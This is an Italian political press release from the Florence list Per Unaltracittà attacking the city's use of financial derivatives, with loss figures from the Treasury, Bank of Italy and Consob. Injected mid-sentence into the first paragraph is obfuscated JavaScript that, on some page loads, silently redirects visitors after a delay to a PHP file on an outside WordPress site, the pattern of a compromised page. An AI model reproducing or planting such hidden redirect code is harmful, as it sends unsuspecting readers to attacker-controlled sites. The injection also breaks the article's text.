Derivati, basta con le perdite milionarie dei Comuni

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Il Comune di Firenze non deve mai più utilizzare i derivati a sostegno alla finanza pubblica locale”. Lo ha detto la c (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andidata sindaco di “Per Unaltracittà” Ornella De Zordo: “Avevamo già presentato in Consiglio Comunale una mozione perché i cittadini siano debitamente informati su questo fenomeno misconosciuto – ha ricordato – che purtroppo però non è mai andata all’ordine del giorno. La nostra richiesta prevedeva che il Comune privilegiasse tutte le operazione di finanza purché trasparenti ed etiche, con il pieno coinvolgimento e la diffusione dell’informazione verso i cittadini, e che rendesse pubblico il dettaglio di tutte le operazioni compiute dall’amministrazione”.

E’ di oggi la notizia riportata su alcuni organi di stampa dell’inchiesta aperta dalla Procura di Milano per i contratti stipulati dal Comune: 470 milioni di euro sequestrati, quattro banche coinvolte per responsabilità oggettiva e dieci banchieri indagati. Secondo queste notizie anche la Procura di Firenze starebbe verificando la presenza di commissioni occulte nelle frequenti rinegoziazioni di oltre 130 contratti per 1,6 miliardi stipulati dalla Regione Toscana e da undici Comuni, tra cui Firenze, con otto banche italiane e sei straniere.

“La giunta Domenici è responsabile dell’ampio utilizzo dei derivati – ha aggiunto De Zordo – operazioni rischiose e speculative che rischiano di essere un danno per i cittadini che dovranno comunque ripianare i debiti, aumentati d’importo per una gestione improvvida dello strumento finanziario, con l’aumento dei prelievi fiscali e con un’erosione dei servizi offerti dagli enti pubblici stessi”.

Per Unaltracittà ha aderito sin dal 2007 alla campagna nazionale “A carte scoperte” – promossa dall’autorevole associazione Finansol.it – per una piena e trasparente informazione sul fenomeno dell’utilizzo dei derivati. In questi anni, infatti, molti enti locali e regioni italiane hanno utilizzato i derivati come meccanismo finanziario di sostegno alla finanza pubblica locale. A fine 2006, secondo il Ministero del Tesoro, gli enti locali e le regioni italiane sono esposti per complessivi 13 miliardi di euro. Sempre per il Ministero del Tesoro tra il 2002 e il primo semestre 2007 sono circa 900 i derivati firmati da 525 enti locali e regioni (459 Comuni, 45 Province, 17 Regioni e 4 Comunità montane) di cui ben 151 stipulati tra gennaio e il 30 giugno scorso. Per Banca d’Italia a fine agosto, il valore di mercato dei derivati in tasca agli enti locali era negativo per un miliardo e 55 milioni di euro, su una perdita complessiva di 5 miliardi di euro attribuibili al sistema paese.

Secondo la Consob a giugno 2004 il controvalore nozionale delle posizioni in derivati detenute da intermediari italiani nei confronti di imprese ed enti locali risultava pari a circa 146 miliardi di euro. Circa l’80% dei contratti risulta in perdita con una rimessa media per operazione di circa 80.000 euro. L’inchiesta dell’Autorità di controllo della Borsa sottolineava come gli Enti Locali avessero peraltro subito perdite medie molto più elevate di quelle delle imprese (circa 430.000 euro contro 76.000 ), anche a causa della dimensione media dei contratti più elevata (circa 12 milioni di euro di valore nozionale, contro i 2,6 milioni di euro delle imprese).

[Fonte Per Unaltracittà]

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